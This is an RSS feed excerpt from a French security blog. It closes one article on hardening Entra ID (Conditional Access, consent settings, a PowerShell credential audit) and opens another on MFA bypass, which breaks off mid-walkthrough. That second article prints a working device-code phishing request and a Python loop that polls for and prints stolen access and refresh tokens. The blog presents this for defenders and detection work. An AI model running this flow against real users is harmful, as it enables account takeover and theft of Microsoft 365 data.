<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="priorité-1--bloquer-le-flux-device-code-impact-maximal-effort-faible">Priorité 1 : Bloquer le Flux Device Code (Impact Maximal, Effort Faible)<a href="https://inferencedefense.com/fr/blog/comment-les-attaquants-abusent-entra-id-oauth-sans-malware#priorit%C3%A9-1--bloquer-le-flux-device-code-impact-maximal-effort-faible" class="hash-link" aria-label="Direct link to Priorité 1 : Bloquer le Flux Device Code (Impact Maximal, Effort Faible)" title="Direct link to Priorité 1 : Bloquer le Flux Device Code (Impact Maximal, Effort Faible)" translate="no">​</a></h3>
<p>Créez une politique d'Accès Conditionnel qui bloque le flux d'authentification device code pour tous les utilisateurs qui n'en ont pas légitimement besoin (presque tout le monde dans une entreprise standard).</p>
<p><strong>Entra ID → Protection → Accès Conditionnel → Nouvelle Politique</strong></p>
<ul>
<li class="">Utilisateurs : Tous les utilisateurs (exclure les comptes d'urgence break-glass)</li>
<li class="">Applications cloud : Toutes les applications cloud</li>
<li class="">Conditions → Flux d'authentification → Flux device code : Oui</li>
<li class="">Contrôle d'accès : Bloquer</li>
</ul>
<p>Cette seule politique élimine l'un des vecteurs d'attaque nation-état les plus répandus.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="priorité-2--restreindre-le-consentement-utilisateur-impact-élevé-effort-faible">Priorité 2 : Restreindre le Consentement Utilisateur (Impact Élevé, Effort Faible)<a href="https://inferencedefense.com/fr/blog/comment-les-attaquants-abusent-entra-id-oauth-sans-malware#priorit%C3%A9-2--restreindre-le-consentement-utilisateur-impact-%C3%A9lev%C3%A9-effort-faible" class="hash-link" aria-label="Direct link to Priorité 2 : Restreindre le Consentement Utilisateur (Impact Élevé, Effort Faible)" title="Direct link to Priorité 2 : Restreindre le Consentement Utilisateur (Impact Élevé, Effort Faible)" translate="no">​</a></h3>
<p><strong>Entra ID → Applications d'entreprise → Consentement et permissions → Paramètres de consentement utilisateur</strong></p>
<p>Définir sur : <em>"Ne pas autoriser le consentement utilisateur"</em> ou au minimum <em>"Autoriser le consentement utilisateur pour les applications d'éditeurs vérifiés pour les permissions sélectionnées uniquement"</em></p>
<p>Tout consentement d'application tierce devrait nécessiter l'approbation d'un administrateur. Oui, cela crée des tickets IT. Ces tickets sont préférables à une règle de transfert d'email de 90 jours que l'attaquant exécute silencieusement.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="priorité-3--auditer-les-identifiants-des-principaux-de-service-impact-élevé-effort-moyen">Priorité 3 : Auditer les Identifiants des Principaux de Service (Impact Élevé, Effort Moyen)<a href="https://inferencedefense.com/fr/blog/comment-les-attaquants-abusent-entra-id-oauth-sans-malware#priorit%C3%A9-3--auditer-les-identifiants-des-principaux-de-service-impact-%C3%A9lev%C3%A9-effort-moyen" class="hash-link" aria-label="Direct link to Priorité 3 : Auditer les Identifiants des Principaux de Service (Impact Élevé, Effort Moyen)" title="Direct link to Priorité 3 : Auditer les Identifiants des Principaux de Service (Impact Élevé, Effort Moyen)" translate="no">​</a></h3>
<p>Exécutez l'énumération PowerShell de la Section 4 contre votre tenant. Vous trouverez :</p>
<ul>
<li class="">Des applications avec des identifiants non renouvelés depuis plus de 2 ans</li>
<li class="">Des identifiants appartenant à des employés qui ont quitté l'entreprise</li>
<li class="">Des applications avec des permissions applicatives dont elles n'ont pas besoin</li>
<li class="">Des applications avec des permissions équivalentes à Admin Global détenues par des fournisseurs</li>
</ul>
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Audit rapide : principaux de service avec des identifiants expirant loin dans le futur</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Connect-MgGraph -Scopes "Application.Read.All"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Get-MgApplication -All | ForEach-Object {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    $app = $_</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    $app.PasswordCredentials | Where-Object { </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        $_.EndDateTime -gt (Get-Date).AddYears(1) </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    } | ForEach-Object {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        [PSCustomObject]@{</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            App         = $app.DisplayName</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            AppId       = $app.AppId</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            KeyName     = $_.DisplayName</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            Expires     = $_.EndDateTime</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            CreatedBy   = $_.CustomKeyIdentifier  # souvent null pour les anciens identifiants</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        }</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    }</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">} | Sort-Object Expires -Descending | Export-Csv "long-lived-credentials.csv"</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="priorité-4--activer-la-protection-des-tokens-accès-conditionnel">Priorité 4 : Activer la Protection des Tokens (Accès Conditionnel)<a href="https://inferencedefense.com/fr/blog/comment-les-attaquants-abusent-entra-id-oauth-sans-malware#priorit%C3%A9-4--activer-la-protection-des-tokens-acc%C3%A8s-conditionnel" class="hash-link" aria-label="Direct link to Priorité 4 : Activer la Protection des Tokens (Accès Conditionnel)" title="Direct link to Priorité 4 : Activer la Protection des Tokens (Accès Conditionnel)" translate="no">​</a></h3>
<p>La fonctionnalité de Protection des Tokens d'Entra ID (actuellement en GA pour les tokens de service, en préversion pour les tokens de connexion) lie les tokens à l'appareil spécifique pour lequel ils ont été émis. La réutilisation du token depuis un appareil différent échoue, même avec un refresh token valide.</p>
<p><strong>Accès Conditionnel → Nouvelle Politique → Contrôle d'accès → Exiger la protection des tokens</strong></p>
<p>Cela contrecarre directement les attaques de phishing AiTM et de vol de token.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="priorité-5--implémenter-la-gestion-des-identités-privilégiées-pim">Priorité 5 : Implémenter la Gestion des Identités Privilégiées (PIM)<a href="https://inferencedefense.com/fr/blog/comment-les-attaquants-abusent-entra-id-oauth-sans-malware#priorit%C3%A9-5--impl%C3%A9menter-la-gestion-des-identit%C3%A9s-privil%C3%A9gi%C3%A9es-pim" class="hash-link" aria-label="Direct link to Priorité 5 : Implémenter la Gestion des Identités Privilégiées (PIM)" title="Direct link to Priorité 5 : Implémenter la Gestion des Identités Privilégiées (PIM)" translate="no">​</a></h3>
<p>Les attributions permanentes d'Administrateur Global sont le rêve de l'attaquant. Chaque rôle privilégié devrait être :</p>
<ul>
<li class="">Limité dans le temps : Activé pour 1 à 8 heures maximum</li>
<li class="">Soumis à approbation pour les rôles les plus élevés</li>
<li class="">Protégé par MFA à chaque activation</li>
<li class="">Audité : Toutes les activations journalisées et avec alertes</li>
</ul>
<p>Un identifiant d'Administrateur Global compromis sans PIM signifie que l'attaquant dispose d'un accès admin persistant et sans restriction. Un environnement avec PIM signifie qu'un attaquant avec un identifiant volé ne peut rien faire sans compléter un workflow d'activation.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="conclusion">Conclusion<a href="https://inferencedefense.com/fr/blog/comment-les-attaquants-abusent-entra-id-oauth-sans-malware#conclusion" class="hash-link" aria-label="Direct link to Conclusion" title="Direct link to Conclusion" translate="no">​</a></h2>
<p>Les acteurs de menaces utilisant ces techniques  Midnight Blizzard, Scattered Spider, des dizaines d'affiliés de ransomware  ne sont pas sophistiqués au sens traditionnel. Ils n'écrivent pas d'exploits nouveaux ni ne rétro-ingénient des noyaux. Ils sont exceptionnellement bons dans l'abus d'identité et comptent sur le fait que vos contrôles de sécurité ont été conçus pour un modèle de menace de 2015.</p>
<p>Les attaques sans fichier sur la couche identité battent l'EDR. Elles battent l'antivirus. Elles battent la surveillance réseau. Ce qu'elles ne battent pas :</p>
<ul>
<li class="">Des politiques d'Accès Conditionnel verrouillées</li>
<li class="">Des paramètres de consentement restreints</li>
<li class="">Des journaux d'identité activement surveillés avec des détections KQL dédiées</li>
<li class="">Un SOC qui comprend ce que <code>AADNonInteractiveUserSignInLogs</code> signifie et le consulte</li>
</ul>
<p>Le signal est là. Les attaquants laissent des traces dans chaque source de journaux mentionnée dans cet article. La question est de savoir si votre équipe regarde.</p>
<hr>
<blockquote>
<p>Toutes les commandes et requêtes dans cet article sont à des fins défensives  détection, audit et renforcement. Testez toutes les requêtes de détection dans votre environnement contre des bases de référence connues avant de les utiliser dans des alertes de production.</p>
</blockquote>]]></content:encoded>
            <category>entra-id</category>
            <category>oauth</category>
            <category>securite-identite</category>
            <category>vol-de-token</category>
            <category>ingenierie-detection</category>
            <category>microsoft-365</category>
            <category>acces-conditionnel</category>
        </item>
        <item>
            <title><![CDATA[Contournement du MFA en 2025 à 2026 : Hameçonnage par Code d'Appareil, Rejeu de Jetons, et Pourquoi Votre Stratégie d'Accès Conditionnel Ne Suffit Pas]]></title>
            <link>https://inferencedefense.com/fr/blog/fr-contournement-mfa-hameconnage-code-appareil-rejeu-jetons-acces-conditionnel</link>
            <guid>https://inferencedefense.com/fr/blog/fr-contournement-mfa-hameconnage-code-appareil-rejeu-jetons-acces-conditionnel</guid>
            <pubDate>Fri, 17 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Comment le hameçonnage par code d'appareil, le rejeu de jetons et l'abus de PRT contournent le MFA en 2025–2026  avec des détections KQL et le durcissement de l'Accès Conditionnel.]]></description>
            <content:encoded><![CDATA[<blockquote>
<p><em>Votre utilisateur vient de compléter le MFA. Il a saisi son code d'authentification correctement. Microsoft l'a accepté. Votre stratégie d'Accès Conditionnel a été évaluée et validée. Et l'attaquant  assis derrière un serveur dans un autre pays  vient de recevoir un jeton d'accès OAuth valide pour 60 à 90 minutes, un jeton d'actualisation valable 90 jours, et un accès à l'intégralité de votre environnement Microsoft 365. Pas de page de phishing. Pas de faux formulaire de connexion. Aucune information d'identification volée. Le MFA a été le mécanisme utilisé par l'attaquant pour s'authentifier au nom de la victime. Ce n'est pas une menace future. Elle est activement exploitée depuis au moins mi-2024, et les campagnes ont fortement augmenté fin 2025.</em></p>
</blockquote>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="pourquoi-le-mfa-nest-plus-une-frontière-de-confiance--cest-une-étape-dauthentification">Pourquoi le MFA N'Est Plus une Frontière de Confiance  C'est une Étape d'Authentification<a href="https://inferencedefense.com/fr/blog/fr-contournement-mfa-hameconnage-code-appareil-rejeu-jetons-acces-conditionnel#pourquoi-le-mfa-nest-plus-une-fronti%C3%A8re-de-confiance--cest-une-%C3%A9tape-dauthentification" class="hash-link" aria-label="Direct link to Pourquoi le MFA N'Est Plus une Frontière de Confiance  C'est une Étape d'Authentification" title="Direct link to Pourquoi le MFA N'Est Plus une Frontière de Confiance  C'est une Étape d'Authentification" translate="no">​</a></h2>
<p>Les RSSI ont traité le MFA comme un contrôle quasi-absolu pendant des années. L'hypothèse implicite : si un utilisateur a complété le MFA, la session est légitime. Cette hypothèse est désormais invalidée  pas dans des cas marginaux, pas théoriquement, mais dans des campagnes actives et généralisées documentées par Microsoft, Proofpoint, Huntress, Wiz et d'autres tout au long de 2024–2025.</p>
<p>Les attaques décrites dans cet article exploitent une vérité architecturale fondamentale des systèmes d'identité modernes : <strong>les jetons d'authentification sont des artefacts porteurs</strong>. Une fois émis, ils sont approuvés inconditionnellement par les serveurs de ressources, quel que soit l'endroit d'où ils sont présentés. L'objectif de l'attaquant a évolué : il ne s'agit plus de voler des informations d'identification, mais de voler ou d'intercepter des jetons  et les flux OAuth modernes, conçus pour la commodité et l'interopérabilité, offrent aux attaquants plusieurs mécanismes légitimes pour y parvenir.</p>
<p>Cet article couvre trois classes d'attaques en profondeur technique :</p>
<ol>
<li class=""><strong>Hameçonnage par Code d'Appareil OAuth</strong>  armement d'un flux de protocole légitime pour collecter des jetons par ingénierie sociale, sans jamais héberger une page de phishing</li>
<li class=""><strong>Rejeu de Jetons / Détournement de Session</strong>  vol de jetons émis depuis le stockage du navigateur, la mémoire ou le Keychain macOS, puis rejeu depuis l'infrastructure de l'attaquant</li>
<li class=""><strong>Abus du Primary Refresh Token (PRT)</strong>  le jeton le plus puissant de l'écosystème Entra ID, comment il peut être extrait ou hameçonné, et pourquoi il contourne même les revendications MFA résistantes au phishing</li>
</ol>
<p>Pour chacun : le flux d'attaque exact, les commandes et appels API impliqués, ce qu'Entra ID enregistre, ce qu'il manque, et la logique de détection KQL spécifique que vous pouvez déployer.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="partie-1--hameçonnage-par-code-dappareil-oauth--contournement-du-mfa-par-conception">Partie 1  Hameçonnage par Code d'Appareil OAuth : Contournement du MFA par Conception<a href="https://inferencedefense.com/fr/blog/fr-contournement-mfa-hameconnage-code-appareil-rejeu-jetons-acces-conditionnel#partie-1--hame%C3%A7onnage-par-code-dappareil-oauth--contournement-du-mfa-par-conception" class="hash-link" aria-label="Direct link to Partie 1  Hameçonnage par Code d'Appareil OAuth : Contournement du MFA par Conception" title="Direct link to Partie 1  Hameçonnage par Code d'Appareil OAuth : Contournement du MFA par Conception" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="11-comprendre-le-flux-légitime-rfc-8628">1.1 Comprendre le Flux Légitime (RFC 8628)<a href="https://inferencedefense.com/fr/blog/fr-contournement-mfa-hameconnage-code-appareil-rejeu-jetons-acces-conditionnel#11-comprendre-le-flux-l%C3%A9gitime-rfc-8628" class="hash-link" aria-label="Direct link to 1.1 Comprendre le Flux Légitime (RFC 8628)" title="Direct link to 1.1 Comprendre le Flux Légitime (RFC 8628)" translate="no">​</a></h3>
<p>La Grant d'Autorisation d'Appareil OAuth 2.0 (RFC 8628) a été conçue pour les appareils à capacité de saisie limitée  téléviseurs intelligents, imprimantes, appareils IoT  qui ne peuvent pas prendre en charge une connexion interactive par navigateur. Le flux fonctionne comme suit :</p>
<!-- -->
<p>La propriété de conception critique : <strong>l'appareil interrogeant le jeton et l'utilisateur complétant l'authentification sont découplés</strong>. Le code d'appareil est le seul lien entre eux. Ce découplage est la primitive d'attaque.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="12-lattaque--flux-http-exacts">1.2 L'Attaque : Flux HTTP Exacts<a href="https://inferencedefense.com/fr/blog/fr-contournement-mfa-hameconnage-code-appareil-rejeu-jetons-acces-conditionnel#12-lattaque--flux-http-exacts" class="hash-link" aria-label="Direct link to 1.2 L'Attaque : Flux HTTP Exacts" title="Direct link to 1.2 L'Attaque : Flux HTTP Exacts" translate="no">​</a></h3>
<p>L'attaquant effectue la séquence suivante. Ce sont de véritables appels API contre la plateforme d'identité Microsoft :</p>
<p><strong>Étape 1  L'attaquant initie le flux de code d'appareil</strong></p>
<div class="language-http codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-http codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">POST https://login.microsoftonline.com/common/oauth2/v2.0/devicecode HTTP/1.1</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Content-Type: application/x-www-form-urlencoded</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&amp;scope=openid+profile+email+offline_access+https://graph.microsoft.com/.default</span><br></span></code></pre></div></div>
<p><code>d3590ed6-52b3-4102-aeff-aad2292ab01c</code> est l'ID client de <strong>Microsoft Office</strong>  un client public enregistré par Microsoft, ne nécessitant aucun secret. Les attaquants utilisent des ID client Microsoft légitimes pour demander des portées larges sans avoir besoin d'enregistrer une application malveillante, rendant la détection basée sur le consentement des applications inutile.</p>
<p><strong>Réponse :</strong></p>
<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token property" style="color:hsl(256, 54%, 50%)">"user_code"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"ABCD-EFGH"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token property" style="color:hsl(256, 54%, 50%)">"device_code"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"BAQABAAEAAAAmoFfGtYxvRrNriQdPKIZ-....[longue chaîne opaque]"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token property" style="color:hsl(256, 54%, 50%)">"verification_uri"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"https://microsoft.com/devicelogin"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token property" style="color:hsl(256, 54%, 50%)">"expires_in"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token number" style="color:hsl(212, 92%, 35%)">900</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token property" style="color:hsl(256, 54%, 50%)">"interval"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token number" style="color:hsl(212, 92%, 35%)">5</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  </span><span class="token property" style="color:hsl(256, 54%, 50%)">"message"</span><span class="token operator" style="color:hsl(212, 92%, 35%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"Pour vous connecter, utilisez un navigateur web pour ouvrir la page https://microsoft.com/devicelogin et entrez le code ABCD-EFGH pour vous authentifier."</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><br></span></code></pre></div></div>
<p><strong>Étape 2  L'attaquant commence l'interrogation pendant l'envoi du leurre de phishing à la victime</strong></p>
<div class="language-python codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-python codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token keyword" style="color:hsl(356, 75%, 47%)">import</span><span class="token plain"> requests</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> time</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">device_code </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"BAQABAAEAAAAmoFfGtYxvRrNriQdPKIZ-...."</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token keyword" style="color:hsl(356, 75%, 47%)">while</span><span class="token plain"> </span><span class="token boolean" style="color:hsl(356, 75%, 47%)">True</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    r </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> requests</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">post</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token string" style="color:hsl(139, 66%, 32%)">"https://login.microsoftonline.com/common/oauth2/v2.0/token"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        data</span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token string" style="color:hsl(139, 66%, 32%)">"grant_type"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"urn:ietf:params:oauth:grant-type:device_code"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token string" style="color:hsl(139, 66%, 32%)">"client_id"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"d3590ed6-52b3-4102-aeff-aad2292ab01c"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token string" style="color:hsl(139, 66%, 32%)">"device_code"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> device_code</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    resp </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> r</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">json</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">if</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"access_token"</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">in</span><span class="token plain"> resp</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">print</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">"[+] Jeton acquis !"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">print</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">"Jeton d'accès :"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> resp</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">"access_token"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">print</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">"Jeton d'actualisation :"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> resp</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">"refresh_token"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">break</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">elif</span><span class="token plain"> resp</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">get</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">"error"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">==</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"authorization_pending"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        time</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">sleep</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token number" style="color:hsl(212, 92%, 35%)">5</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain">  </span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Interroger toutes les 5 secondes selon le champ interval</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">elif</span><span class="token plain"> resp</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">get</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">"error"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">==</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"expired_token"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">print</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">"[-] Code expiré, régénérer"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">break</span><br></span></code></pre></div></div>
<p><strong>Étape 3  La victime reçoit l'e-mail de phishing, entre le code sur la vraie page Microsoft</strong></p>
<p>La victime navigue vers <code>https://microsoft.com/devicelogin</code>  le vrai domaine Microsoft, certificat valide, aucun indicateur de phishing  entre <code>ABCD-EFGH</code>, se connecte avec ses vraies informations d'identification, complète le MFA (push, TOTP, peu importe) et clique sur "Continuer."</p>
<p><strong>Étape 4  La boucle d'interrogation de l'attaquant retourne les jetons</strong></p>
<p>Au moment où la victime clique sur "Continuer," la prochaine interrogation retourne :</p>
